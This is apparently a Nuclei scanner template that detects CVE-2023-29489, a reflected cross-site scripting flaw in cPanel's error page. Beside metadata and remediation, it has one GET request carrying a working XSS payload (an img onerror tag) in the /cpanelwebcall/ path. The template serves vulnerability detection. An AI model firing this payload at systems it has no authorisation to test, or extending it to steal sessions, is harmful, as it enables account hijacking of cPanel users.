id: CVE-2023-29489

info:
  name: cPanel - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: |
    An issue was discovered in cPanel before 11.109.9999.116. Cross Site Scripting can occur on the cpsrvd error page via an invalid webcall ID.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by cPanel to fix this vulnerability.
  reference:
    - https://blog.assetnote.io/2023/04/26/xss-million-websites-cpanel/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29489
    - https://forums.cpanel.net/threads/cpanel-tsr-2023-0001-full-disclosure.708949/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29489
    cwe-id: CWE-79
    epss-score: 0.00206
    epss-percentile: 0.58511
    cpe: cpe:2.3:a:cpanel:cpanel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cpanel
    product: cpanel
    shodan-query: title:"cPanel"
  tags: cve,cve2023,cpanel,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/cpanelwebcall/<img%20src=x%20onerror="prompt(document.domain)">aaaaaaaaaaaa'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror="prompt(document.domain)">aaaaaaaaaaaa'
          - 'Invalid webcall ID:'
        condition: and

      - type: status
        status:
          - 400
# digest: 490a00463044022060c7afe6483e14393aa8342e68e85acbe18a16fb49095f519bbe982b0f80b90b022008e24f9c541e4dad17f21d6eed23ba2aa425ef6ce0d26a5800e26cd17e7cf198:922c64590222798bb761d5b6d8e72950